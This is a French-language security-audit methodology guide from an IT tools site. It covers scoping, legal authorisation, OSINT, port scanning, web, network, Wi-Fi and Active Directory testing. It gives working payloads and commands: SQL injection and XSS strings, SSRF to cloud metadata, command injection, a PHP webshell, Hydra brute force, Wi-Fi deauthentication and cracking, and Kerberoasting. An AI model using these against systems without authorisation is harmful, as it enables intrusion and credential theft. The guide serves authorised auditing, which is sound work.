🛠 Outils IT
🛠 78 outils 📚 32 docs
🤖 Assistant
← Retour aux outils

🛡 Guide d'Audit de Sécurité

1. Introduction à l'audit de sécurité

Un audit de sécurité informatique est une évaluation méthodique et approfondie de la posture de sécurité d'un système d'information. Il vise à identifier les vulnérabilités, évaluer les risques et proposer des mesures correctives pour renforcer la protection des données et des infrastructures.

Types d'audits

Type Description Connaissances fournies Réalisme
Boîte noire (Black Box) Aucune information préalable sur la cible Aucune (simule un attaquant externe) ★★★★★
Boîte grise (Grey Box) Informations partielles (comptes utilisateur, schéma réseau partiel) Credentials basiques, documentation partielle ★★★★
Boîte blanche (White Box) Accès complet (code source, architecture, comptes admin) Tout : code, configs, accès réseau, documentation ★★★

Cadre légal

⚠ AVERTISSEMENT LÉGAL : Tout test de sécurité DOIT être réalisé avec une autorisation écrite explicite du propriétaire du système. En France, l'accès non autorisé à un système informatique est puni par la loi Godfrain (articles 323-1 à 323-8 du Code pénal) de 2 à 7 ans d'emprisonnement et de 60 000 à 300 000 € d'amende. Le RGPD impose également des obligations spécifiques concernant la protection des données personnelles rencontrées pendant l'audit.

Normes et référentiels

Norme / Référentiel Domaine Description
ISO 27001 SMSI global Système de management de la sécurité de l'information
PCI-DSS Paiement Sécurité des données de cartes bancaires
NIST CSF Framework général Identify, Protect, Detect, Respond, Recover
ANSSI (PASSI) Audit France Référentiel d'audit de sécurité certifié ANSSI
OWASP Testing Guide Sécurité Web Méthodologie complète de test d'applications web
PTES Pentest Penetration Testing Execution Standard

Rôles dans un audit

  • Commanditaire : l'organisation qui demande l'audit et définit les objectifs
  • Auditeur(s) : l'équipe technique réalisant les tests (interne ou prestataire PASSI)
  • Périmètre (scope) : les systèmes, réseaux et applications inclus dans l'audit
  • Référent technique : interlocuteur côté client pour répondre aux questions
  • RSSI : responsable de la sécurité qui valide le rapport et le plan de remédiation

2. Préparation de l'audit

Définition du périmètre (scope)

Le périmètre définit précisément ce qui sera testé et ce qui est exclu. Un périmètre mal défini est la première cause d'échec d'un audit.

Élément Exemple Inclus / Exclu
Plages IP 192.168.1.0/24, 10.0.0.0/16 Inclus
Domaines exemple.com, *.exemple.com Inclus
Applications web https://app.exemple.com Inclus
Infrastructure cloud AWS compte 123456789 Inclus
Serveurs de production critiques srv-bdd-prod01 Exclu (risque d'interruption)
Systèmes tiers CDN Cloudflare, API partenaires Exclu (pas d'autorisation)

Convention d'audit et autorisation écrite

⚠ OBLIGATOIRE : Ne jamais commencer un audit sans une autorisation écrite signée. Ce document vous protège légalement en cas de problème.

Le document d'autorisation doit contenir :

CONVENTION D'AUDIT DE SÉCURITÉ

Date : [JJ/MM/AAAA]
Référence : AUDIT-[AAAA]-[NNN]

COMMANDITAIRE :
- Raison sociale : [Nom de l'entreprise]
- Représentant : [Nom, Titre]
- Contact : [Email, Téléphone]

AUDITEUR :
- Raison sociale : [Nom du prestataire]
- Responsable : [Nom de l'auditeur principal]
- Équipe : [Noms des auditeurs]

PÉRIMÈTRE :
- Adresses IP : [Liste]
- Domaines : [Liste]
- Applications : [Liste]
- Exclusions : [Liste]

DATES :
- Début : [JJ/MM/AAAA HH:MM]
- Fin : [JJ/MM/AAAA HH:MM]
- Créneau horaire autorisé : [ex: 22h-06h]

TYPE DE TEST : [Boîte noire / grise / blanche]
TESTS AUTORISÉS : [Scan de ports, exploitation, ingénierie sociale, DoS...]
TESTS INTERDITS : [ex: Déni de service sur la production]

CONTACTS D'URGENCE :
- Technique : [Nom] - [Téléphone] (24/7)
- Direction : [Nom] - [Téléphone]

Signature Commanditaire : _______________
Signature Auditeur : _______________

Identification des assets

Créez un inventaire complet des actifs dans le périmètre :

# Découverte DNS initiale
dig exemple.com ANY
dig exemple.com MX
dig exemple.com NS
dig exemple.com TXT

# Énumération de sous-domaines
subfinder -d exemple.com -o subdomains.txt
amass enum -d exemple.com -o amass_results.txt

# Vérification des IP
host exemple.com
nslookup exemple.com

# Range IP à partir du WHOIS
whois 203.0.113.0 | grep -i "netrange\|cidr\|netname"

Planning et jalons

Phase Durée estimée Livrable
Cadrage et préparation 1-2 jours Convention signée, inventaire assets
Reconnaissance passive 1-2 jours Rapport OSINT
Reconnaissance active 2-3 jours Cartographie réseau, liste vulnérabilités
Exploitation 3-5 jours Preuves d'exploitation (PoC)
Post-exploitation 1-2 jours Évaluation d'impact
Rédaction du rapport 2-3 jours Rapport final
Restitution 0.5 jour Présentation aux décideurs
Outil du site : Utilisez la Pentest Checklist pour structurer votre audit avec 5 types d'audits interactifs prédéfinis.

3. Phase 1 — Reconnaissance passive (OSINT)

La reconnaissance passive consiste à collecter un maximum d'informations sur la cible sans interagir directement avec ses systèmes. Cette phase est indétectable par la cible.

DNS et WHOIS

La première étape consiste à cartographier l'infrastructure DNS de la cible.

# WHOIS - Informations sur le propriétaire du domaine
whois exemple.com

# Enregistrements DNS complets
dig exemple.com ANY +noall +answer
dig exemple.com A
dig exemple.com AAAA
dig exemple.com MX
dig exemple.com NS
dig exemple.com TXT
dig exemple.com SOA
dig exemple.com CNAME

# Transfert de zone (souvent désactivé mais à tester)
dig axfr exemple.com @ns1.exemple.com

# Reverse DNS
dig -x 203.0.113.50

# Énumération de sous-domaines
subfinder -d exemple.com -silent
amass enum -passive -d exemple.com
assetfinder --subs-only exemple.com

# Découverte via Certificate Transparency
curl -s "https://crt.sh/?q=%25.exemple.com&output=json" | jq '.[].name_value' | sort -u

# DNSRecon
dnsrecon -d exemple.com -t std
dnsrecon -d exemple.com -t brt -D /usr/share/wordlists/subdomains.txt

Google Dorking

Les opérateurs de recherche avancés de Google permettent de trouver des informations exposées involontairement.

# Fichiers sensibles exposés
site:exemple.com filetype:pdf
site:exemple.com filetype:xls OR filetype:xlsx OR filetype:csv
site:exemple.com filetype:doc OR filetype:docx
site:exemple.com filetype:sql OR filetype:bak OR filetype:log
site:exemple.com filetype:env OR filetype:cfg OR filetype:conf

# Pages de login et panneaux d'administration
site:exemple.com inurl:admin
site:exemple.com inurl:login OR inurl:signin OR inurl:auth
site:exemple.com intitle:"index of" inurl:admin
site:exemple.com inurl:wp-admin OR inurl:wp-login

# Répertoires exposés
site:exemple.com intitle:"index of /"
site:exemple.com intitle:"index of" "parent directory"
site:exemple.com intitle:"index of" ".git"
site:exemple.com intitle:"index of" "backup"

# Informations sensibles
site:exemple.com intext:"mot de passe" OR intext:"password"
site:exemple.com ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf
site:exemple.com "DB_PASSWORD" OR "DB_HOST" OR "API_KEY"

# Erreurs et informations techniques
site:exemple.com intext:"error" OR intext:"warning" filetype:log
site:exemple.com "PHP Parse error" OR "PHP Warning" OR "PHP Fatal error"
site:exemple.com "mysql_connect" OR "mysqli_connect"
site:exemple.com "Not Found" inurl:404

OSINT sur les personnes et l'organisation

# Récolte d'adresses email
theHarvester -d exemple.com -b all -l 500

# hunter.io via API
curl "https://api.hunter.io/v2/domain-search?domain=exemple.com&api_key=API_KEY"

# Vérification de fuites de données (Have I Been Pwned)
# Vérifier manuellement : https://haveibeenpwned.com/

# LinkedIn : rechercher les employés, technologies utilisées
# GitHub : rechercher des repos de l'organisation
# Identifier les technologies : Wappalyzer, BuiltWith

Shodan, Censys et autres moteurs

# Shodan - Recherche par IP
shodan host 203.0.113.50

# Shodan - Recherche par domaine
shodan search hostname:exemple.com

# Shodan - Recherche par organisation
shodan search org:"Nom Entreprise"

# Shodan - Filtres avancés
shodan search "apache" country:"FR" port:443 org:"Nom Entreprise"

# Censys
censys search "exemple.com" --index-type hosts

# crt.sh - Certificats SSL
curl -s "https://crt.sh/?q=exemple.com&output=json" | jq '.[] | {name_value, issuer_name, not_before, not_after}'

# SecurityTrails (API)
curl -s "https://api.securitytrails.com/v1/domain/exemple.com" \
  -H "APIKEY: votre_cle_api"
Conseil : Documentez tout ce que vous trouvez pendant la phase OSINT. Même les informations apparemment insignifiantes peuvent s'avérer utiles lors de phases ultérieures (noms d'utilisateurs pour le brute force, technologies pour la recherche de CVE, etc.).

4. Phase 2 — Reconnaissance active et scan

La reconnaissance active implique une interaction directe avec les systèmes cibles. Cette phase est détectable par les IDS/IPS et les journaux du serveur.

Scan de ports et services

Commandes Nmap essentielles pour l'audit

# Scan SYN rapide (stealth scan) - Top 1000 ports
sudo nmap -sS -T4 192.168.1.0/24

# Scan complet de tous les ports TCP
sudo nmap -sS -p- -T4 --min-rate 1000 192.168.1.1

# Scan UDP des ports courants
sudo nmap -sU --top-ports 200 -T4 192.168.1.1

# Détection de version et OS
sudo nmap -sS -sV -O -T4 192.168.1.1

# Scan agressif complet (version + OS + scripts + traceroute)
sudo nmap -A -T4 -p- 192.168.1.1

# Scripts NSE de détection de vulnérabilités
sudo nmap --script vuln -sV 192.168.1.1
sudo nmap --script "safe and vuln" -sV -p 80,443 192.168.1.1

# Scripts spécifiques
sudo nmap --script http-enum -p 80,443 192.168.1.1
sudo nmap --script ssl-enum-ciphers -p 443 192.168.1.1
sudo nmap --script smb-vuln* -p 445 192.168.1.1
sudo nmap --script dns-zone-transfer -p 53 ns1.exemple.com

# Scan de découverte réseau complet
sudo nmap -sn 192.168.1.0/24 -oG alive_hosts.gnmap
grep "Up" alive_hosts.gnmap | awk '{print $2}' > alive_ips.txt
sudo nmap -sS -sV -O -T4 -p- -iL alive_ips.txt -oA full_scan

# Export des résultats
sudo nmap -sS -sV -O -T4 192.168.1.1 -oA scan_results  # tous les formats
sudo nmap -sS -sV -T4 192.168.1.1 -oX scan.xml          # XML pour import

Interprétation des résultats

État du port Signification Action
open Service actif acceptant les connexions Analyser le service, chercher des CVE
closed Port accessible mais aucun service Surveiller, peut indiquer un firewall mal configuré
filtered Filtré par un firewall (pas de réponse) Tenter d'autres techniques de scan
open|filtered Nmap ne peut pas déterminer l'état Essayer un scan de version (-sV)

Scan de vulnérabilités

Outil du site : CVE Lookup pour rechercher les CVE associées aux services et versions découverts.
# Nessus (scanner commercial)
# Interface web : https://localhost:8834
# Créer un scan "Advanced Scan" avec les IP cibles

# OpenVAS (open source)
sudo gvm-setup
sudo gvm-start
# Interface web : https://localhost:9392

# Nuclei (rapide, templates communautaires)
nuclei -u https://exemple.com -t cves/ -severity critical,high
nuclei -l urls.txt -t cves/ -t vulnerabilities/ -o nuclei_results.txt

# Nikto (scanner web)
nikto -h https://exemple.com -output nikto_report.html -Format htm

# WPScan (WordPress)
wpscan --url https://exemple.com --enumerate vp,vt,u --api-token TOKEN

Priorisation par score CVSS

Score CVSS Sévérité Délai de correction recommandé
9.0 - 10.0 Critique Immédiat (24-48h)
7.0 - 8.9 Haute 1 semaine
4.0 - 6.9 Moyenne 1 mois
0.1 - 3.9 Faible 3 mois
0.0 Info Selon le contexte

Énumération des services

Web

# Gobuster - Découverte de répertoires
gobuster dir -u https://exemple.com -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster.txt
gobuster dir -u https://exemple.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,js,txt,bak

# Feroxbuster (plus rapide, récursif)
feroxbuster -u https://exemple.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 3

# ffuf - Fuzzing rapide
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://exemple.com/FUZZ -mc 200,301,302,403
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://exemple.com/FUZZ -e .php,.html,.txt,.bak

# Découverte de vhosts
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://exemple.com -H "Host: FUZZ.exemple.com" -mc 200

SMB (port 445)

# Énumération complète
enum4linux -a 192.168.1.1

# Lister les partages
smbclient -L //192.168.1.1 -N
crackmapexec smb 192.168.1.1 --shares

# Accéder à un partage
smbclient //192.168.1.1/share_name -N

# Nmap scripts SMB
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 192.168.1.1

SNMP (port 161)

# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1

# Walk SNMP complet
snmpwalk -v2c -c public 192.168.1.1

# Informations système
snmpwalk -v2c -c public 192.168.1.1 system

LDAP (port 389/636)

# Test de connexion anonyme
ldapsearch -x -H ldap://192.168.1.1 -b "dc=exemple,dc=com"

# Énumération avec credentials
ldapsearch -x -H ldap://192.168.1.1 -D "user@exemple.com" -w "password" -b "dc=exemple,dc=com" "(objectClass=user)"

5. Phase 3 — Audit de sécurité Web

L'audit web suit la méthodologie OWASP Testing Guide et couvre les vulnérabilités les plus courantes et les plus dangereuses des applications web.

Outil du site : Consultez le OWASP Top 10 Reference pour la référence complète des 10 risques majeurs (Web 2021 + API 2023).

Test des en-têtes de sécurité HTTP

Outil du site : Header Security Checker pour analyser automatiquement les en-têtes HTTP de n'importe quel site.
En-tête Valeur recommandée Protection
Content-Security-Policy default-src 'self'; script-src 'self' XSS, injection de contenu
Strict-Transport-Security max-age=31536000; includeSubDomains; preload Downgrade HTTPS → HTTP
X-Frame-Options DENY ou SAMEORIGIN Clickjacking
X-Content-Type-Options nosniff MIME type sniffing
Referrer-Policy strict-origin-when-cross-origin Fuite d'URL via Referer
Permissions-Policy camera=(), microphone=(), geolocation=() Accès aux fonctions du navigateur
X-XSS-Protection 0 (désactiver, préférer CSP) Filtre XSS navigateur (obsolète)
# Vérifier les en-têtes avec curl
curl -I https://exemple.com
curl -sI https://exemple.com | grep -iE "^(content-security|strict-transport|x-frame|x-content|referrer-policy|permissions-policy|x-xss)"

# Vérifier les cookies de session
curl -sI https://exemple.com/login | grep -i "set-cookie"
# Vérifier : Secure, HttpOnly, SameSite=Strict ou Lax

Test de la configuration TLS/SSL

Outils du site : Cipher Suite TesterSSL Checker
# testssl.sh - Analyse complète TLS
./testssl.sh https://exemple.com
./testssl.sh --severity HIGH --color 3 exemple.com

# OpenSSL - Vérification manuelle
openssl s_client -connect exemple.com:443 -tls1_2
openssl s_client -connect exemple.com:443 -tls1_3
openssl s_client -connect exemple.com:443 < /dev/null 2>/dev/null | openssl x509 -text -noout

# Vérifier les protocoles obsolètes (doivent échouer)
openssl s_client -connect exemple.com:443 -ssl3    # Doit échouer
openssl s_client -connect exemple.com:443 -tls1    # Doit échouer
openssl s_client -connect exemple.com:443 -tls1_1  # Doit échouer

# Nmap - Enumération des cipher suites
nmap --script ssl-enum-ciphers -p 443 exemple.com

Protocoles et cipher suites

Protocole Statut Recommandation
SSL 2.0 / SSL 3.0 Obsolète Désactiver impérativement
TLS 1.0 Déprécié Désactiver (BEAST, POODLE)
TLS 1.1 Déprécié Désactiver
TLS 1.2 Accepté Activer avec cipher suites fortes
TLS 1.3 Recommandé Activer en priorité

Test CORS

Outil du site : CORS Tester pour tester la configuration CORS de n'importe quel endpoint.
# Test CORS basique
curl -sI -H "Origin: https://evil.com" https://exemple.com/api/ | grep -i "access-control"

# Test avec credentials
curl -sI -H "Origin: https://evil.com" -H "Cookie: session=test" https://exemple.com/api/ | grep -i "access-control"

# Test de reflection d'origine
curl -sI -H "Origin: https://attacker.com" https://exemple.com/api/
# DANGEREUX si Access-Control-Allow-Origin: https://attacker.com

# Test de wildcard avec credentials
# DANGEREUX : Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true

Configurations CORS dangereuses

Configuration Risque Impact
Access-Control-Allow-Origin: * Moyen Tout site peut lire les réponses (sans cookies)
Reflection de l'Origin Critique N'importe quel site est autorisé
null autorisé Critique Exploitable via sandboxed iframes
Wildcard + Credentials Critique Vol de session possible

Tests d'injection

SQL Injection

# Payloads de détection basiques
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --
" OR ""="
1' ORDER BY 1--+
1' AND 1=1--+
1' AND 1=2--+

# sqlmap - Détection automatique
sqlmap -u "https://exemple.com/page?id=1" --batch --banner
sqlmap -u "https://exemple.com/page?id=1" --dbs
sqlmap -u "https://exemple.com/page?id=1" -D database_name --tables
sqlmap -u "https://exemple.com/page?id=1" -D database_name -T users --dump

# sqlmap avec fichier de requête Burp
sqlmap -r request.txt --batch --level 5 --risk 3

# sqlmap - Contournement WAF
sqlmap -u "https://exemple.com/page?id=1" --tamper=space2comment,between --random-agent

Cross-Site Scripting (XSS)

# Payloads de détection XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert('XSS')>

# Contournement de filtres
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src="x" onerror="alert('XSS')">

# XSStrike - Scanner automatisé
python3 xsstrike.py -u "https://exemple.com/search?q=test"
python3 xsstrike.py -u "https://exemple.com/search?q=test" --crawl

Server-Side Request Forgery (SSRF)

# Payloads SSRF classiques
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254/latest/meta-data/  # AWS metadata
http://metadata.google.internal/           # GCP metadata

# Contournement de filtres
http://0x7f000001          # IP en hexadécimal
http://2130706433           # IP en décimal
http://127.1                # Notation courte
http://127.0.0.1.nip.io    # DNS rebinding

Command Injection

# Payloads de détection
; ls -la
| ls -la
&& ls -la
|| ls -la
`ls -la`
$(ls -la)
; sleep 10
| sleep 10

# Blind command injection (time-based)
; sleep 5 #
| sleep 5 #
&& sleep 5 &&

# Commix - Outil automatisé
python3 commix.py -u "https://exemple.com/ping?ip=127.0.0.1" --batch

Tests d'authentification et de session

# Brute force avec Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt https-post-form \
  "exemple.com/login:username=^USER^&password=^PASS^:Invalid credentials" -t 10

# Brute force avec Burp Suite Intruder
# 1. Capturer la requête de login dans Burp Proxy
# 2. Envoyer à Intruder
# 3. Définir les positions (username, password)
# 4. Charger les wordlists
# 5. Lancer l'attaque

# Test de politique de mot de passe
# Vérifier : longueur minimale, complexité, historique, expiration

# Test de session
# Vérifier la longueur et l'entropie du token de session
# Vérifier la rotation après authentification
# Vérifier l'invalidation après déconnexion
# Vérifier les attributs du cookie (Secure, HttpOnly, SameSite)

# Test de session fixation
# 1. Récupérer un token de session non authentifié
# 2. S'authentifier avec ce token
# 3. Vérifier si le token change après login

Tests d'autorisation (IDOR, privilege escalation)

# IDOR (Insecure Direct Object Reference)
# Modifier les identifiants dans les URLs et requêtes API
GET /api/users/123/profile    # Mon profil
GET /api/users/124/profile    # Profil d'un autre utilisateur ?
GET /api/invoices/1001        # Ma facture
GET /api/invoices/1002        # Facture d'un autre client ?

# Privilege escalation horizontale
# Se connecter avec un utilisateur standard
# Tenter d'accéder aux fonctions d'un autre utilisateur du même niveau

# Privilege escalation verticale
# Se connecter avec un utilisateur standard
# Tenter d'accéder aux fonctions admin
POST /api/admin/users         # Créer un utilisateur (fonction admin)
DELETE /api/admin/users/123   # Supprimer un utilisateur

# Manipulation de paramètres
POST /api/profile/update
{"name": "John", "role": "admin"}   # Ajout du champ role

Upload de fichiers malveillants

# Tests d'upload
# 1. Extension double : shell.php.jpg
# 2. Extension alternative : shell.php5, shell.phtml, shell.phar
# 3. Null byte : shell.php%00.jpg (ancien PHP)
# 4. Content-Type manipulation : image/jpeg avec contenu PHP
# 5. Fichier polyglotte : image JPEG valide contenant du PHP

# Webshell PHP simple (pour PoC uniquement)
<?php echo system($_GET['cmd']); ?>

# Vérifications à faire :
# - Le serveur valide-t-il l'extension ?
# - Le serveur valide-t-il le Content-Type ?
# - Le serveur valide-t-il le contenu du fichier (magic bytes) ?
# - Les fichiers uploadés sont-ils exécutables ?
# - Le répertoire d'upload est-il accessible directement ?

Tests d'API REST/GraphQL

Outil du site : Consultez le OWASP Top 10 Reference (section API Security 2023) pour les risques spécifiques aux API.
# Découverte d'endpoints API
# Vérifier : /api/, /v1/, /v2/, /swagger, /api-docs, /graphql, /graphiql

# Test d'authentification API
curl -X GET https://exemple.com/api/users -H "Authorization: Bearer TOKEN_INVALIDE"
curl -X GET https://exemple.com/api/users  # Sans token

# Test de rate limiting
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" https://exemple.com/api/login; done

# GraphQL - Introspection
curl -X POST https://exemple.com/graphql -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'

# GraphQL - Query depth attack
# Requêtes imbriquées profondément pour tester les protections DoS

6. Phase 4 — Audit réseau et infrastructure

Analyse du trafic réseau

Outil du site : Documentation Wireshark / Filtres pour la référence complète des filtres de capture et d'affichage.
# Capture de trafic avec tcpdump
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.1
sudo tcpdump -i eth0 -w capture.pcap port 80 or port 443

# Filtres Wireshark pour détecter les anomalies

# Credentials en clair (HTTP, FTP, Telnet)
http.request.method == "POST"
ftp.request.command == "PASS"
telnet

# Requêtes DNS suspectes (exfiltration DNS)
dns.qry.name contains ".evil.com"
dns.qry.name matches "^[a-zA-Z0-9]{50,}"

# Trafic ARP anormal (ARP spoofing)
arp.duplicate-address-detected

# Trafic ICMP anormal (tunnel ICMP)
icmp && data.len > 64

# Scan de ports détecté
tcp.flags.syn == 1 && tcp.flags.ack == 0

# Communication avec des IP suspectes
ip.geoip.country != "FR"

Analyse des ports exposés

Outil du site : Ports Sécurité Reference pour identifier les ports à risque et les recommandations par service.

Ports qui ne doivent JAMAIS être exposés sur Internet

Port Service Risque
21 FTP Credentials en clair, exploits multiples
23 Telnet Tout passe en clair, aucune sécurité
135-139 NetBIOS/RPC Exploitation Windows, énumération
445 SMB EternalBlue, WannaCry, ransomwares
1433 MSSQL Brute force, injection SQL directe
3306 MySQL Brute force, accès base de données
3389 RDP BlueKeep, brute force, ransomware
5432 PostgreSQL Brute force, accès base de données
5900 VNC Souvent sans authentification forte
6379 Redis Souvent sans authentification, RCE possible
27017 MongoDB Souvent sans authentification

Vérification de la blacklist IP

Outil du site : IP Blacklist Checker pour vérifier si vos adresses IP sont sur des listes noires.
# Vérifier manuellement sur les principales blacklists
# Spamhaus, Barracuda, SORBS, UCEPROTECT, Spamcop

# Vérification IP
curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=203.0.113.50" \
  -H "Key: API_KEY" -H "Accept: application/json"

Vérification SPF/DKIM/DMARC (sécurité email)

Outil du site : DKIM / SPF Checker pour vérifier la configuration email de n'importe quel domaine.
# Vérifier SPF
dig TXT exemple.com | grep "v=spf1"
# Recommandé : v=spf1 include:_spf.google.com -all (terminaison -all stricte)

# Vérifier DKIM
dig TXT google._domainkey.exemple.com
# Vérifier la présence d'un enregistrement DKIM valide

# Vérifier DMARC
dig TXT _dmarc.exemple.com
# Recommandé : v=DMARC1; p=reject; rua=mailto:dmarc@exemple.com; pct=100

# Configurations recommandées
# SPF : -all (hard fail) au lieu de ~all (soft fail)
# DKIM : Clé RSA 2048 bits minimum
# DMARC : p=reject (rejet) au lieu de p=none (monitoring seulement)

Test de segmentation réseau

# Vérifier l'isolation entre VLANs
# Depuis le VLAN utilisateurs, tenter d'atteindre le VLAN serveurs
ping 10.0.1.1    # Serveur dans un autre VLAN
nmap -sn 10.0.1.0/24   # Scan du VLAN serveurs

# Vérifier les règles de firewall
# Tester l'accès aux ports qui devraient être bloqués
nmap -Pn -p 22,3389,445,3306,5432 10.0.1.1

# Test de lateral movement
# Après compromission d'une machine, tenter d'atteindre d'autres segments
crackmapexec smb 192.168.1.0/24 -u user -p password
crackmapexec winrm 192.168.1.0/24 -u user -p password

# Vérifier la DMZ
# Les serveurs en DMZ ne doivent PAS pouvoir initier de connexions vers le LAN
# Les serveurs en DMZ ne doivent avoir que les ports nécessaires ouverts vers Internet

Audit Wi-Fi

# Scanner les réseaux Wi-Fi disponibles
sudo airodump-ng wlan0mon

# Vérifications clés :
# - WPA2-Enterprise (EAP-TLS) préféré au WPA2-PSK
# - WPA3 si disponible
# - SSID d'entreprise non diffusé (optionnel, faible protection)
# - Isolation client activée (pas de communication entre clients Wi-Fi)
# - Réseau invité isolé du réseau d'entreprise
# - Portail captif pour le réseau invité
# - Journalisation des connexions

# Test de force du mot de passe WPA2-PSK
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF wlan0mon  # Déauth pour capturer handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

7. Phase 5 — Audit Active Directory et Windows

Outils du site : Documentation PowerShell SecurityPentest Checklist (section Active Directory)

Énumération Active Directory

# Module ActiveDirectory PowerShell
Import-Module ActiveDirectory

# Énumération des utilisateurs
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate, PasswordLastSet, PasswordNeverExpires
Get-ADUser -Filter {Enabled -eq $true} -Properties PasswordLastSet | Where-Object {$_.PasswordLastSet -lt (Get-Date).AddDays(-90)}

# Énumération des groupes privilégiés
Get-ADGroupMember "Domain Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Enterprise Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Schema Admins" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Administrators" -Recursive | Select-Object Name, SamAccountName

# Énumération des GPO
Get-GPO -All | Select-Object DisplayName, ModificationTime, GpoStatus
Get-GPResultantSetOfPolicy -ReportType Html -Path "C:\gpresult.html"

# Énumération des trusts
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, IntraForest

# Énumération des ordinateurs
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate | Select-Object Name, OperatingSystem, LastLogonDate | Sort-Object LastLogonDate

# Énumération des comptes de service
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName

Outils spécialisés

# BloodHound / SharpHound - Collecte et visualisation des chemins d'attaque
.\SharpHound.exe -c All
# Importer le fichier ZIP dans BloodHound (interface Neo4j)

# PingCastle - Audit AD automatique (score de santé)
.\PingCastle.exe --healthcheck --server dc01.exemple.com
# Génère un rapport HTML avec score global

# ADRecon - Collecte complète
.\ADRecon.ps1 -OutputType HTML

Recherche de privilèges excessifs

# Comptes avec privilèges Domain Admin (doivent être minimaux)
Get-ADGroupMember "Domain Admins" | Measure-Object
# Règle : moins de 5 comptes Domain Admin

# Comptes avec mot de passe qui n'expire jamais
Get-ADUser -Filter {PasswordNeverExpires -eq $true -and Enabled -eq $true} | Select-Object Name, SamAccountName

# Comptes avec délégation non contrainte (risque élevé)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name

# Kerberoasting - Extraction de tickets TGS
# Impacket
python3 GetUserSPNs.py exemple.com/user:password -dc-ip 10.0.0.1 -request
# Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# AS-REP Roasting - Comptes sans pré-authentification Kerberos
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name
# Impacket
python3 GetNPUsers.py exemple.com/ -usersfile users.txt -dc-ip 10.0.0.1 -format hashcat

# Craquage des hashes extraits
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt  # Kerberoasting
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt      # AS-REP Roasting

Analyse des GPO de sécurité

# Politique de mot de passe
Get-ADDefaultDomainPasswordPolicy
# Vérifier :
# - MinPasswordLength >= 12
# - ComplexityEnabled = True
# - LockoutThreshold = 5
# - LockoutDuration >= 30 min
# - MaxPasswordAge <= 90 jours (débat en cours, NIST recommande de ne pas forcer le changement)

# Politique d'audit
auditpol /get /category:*
# Vérifier que les événements critiques sont audités :
# - Logon/Logoff : Success + Failure
# - Account Management : Success + Failure
# - Privilege Use : Success + Failure

# AppLocker / WDAC
Get-AppLockerPolicy -Effective -Xml
# Vérifier que des règles de restriction d'exécution sont en place

# PowerShell Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode
# Recommandé : ConstrainedLanguage sur les postes utilisateurs

Événements de sécurité critiques

Event ID Description Importance
4624 Connexion réussie Surveillance des connexions inhabituelles
4625 Connexion échouée Détection de brute force
4648 Connexion avec credentials explicites Pass-the-hash, runas
4672 Privilèges spéciaux attribués Connexion admin
4720 Création de compte utilisateur Création non autorisée
4732 Membre ajouté à un groupe local Élévation de privilèges
1102 Journal d'audit effacé Tentative de dissimulation
7045 Nouveau service installé Persistance malware
# Rechercher les connexions échouées (brute force)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 100 |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='IP';E={$_.Properties[19].Value}}

# Rechercher les connexions admin
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4672} -MaxEvents 50 |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}

# Rechercher les journaux effacés
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102}

# Rechercher les nouveaux services
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} -MaxEvents 50 |
  Select-Object TimeCreated, @{N='ServiceName';E={$_.Properties[0].Value}}, @{N='ImagePath';E={$_.Properties[1].Value}}

Credential dumping et mitigation

# Protection LSASS
# Vérifier RunAsPPL (Protection du processus LSASS)
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
# Recommandé : RunAsPPL = 1

# Vérifier Credential Guard
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
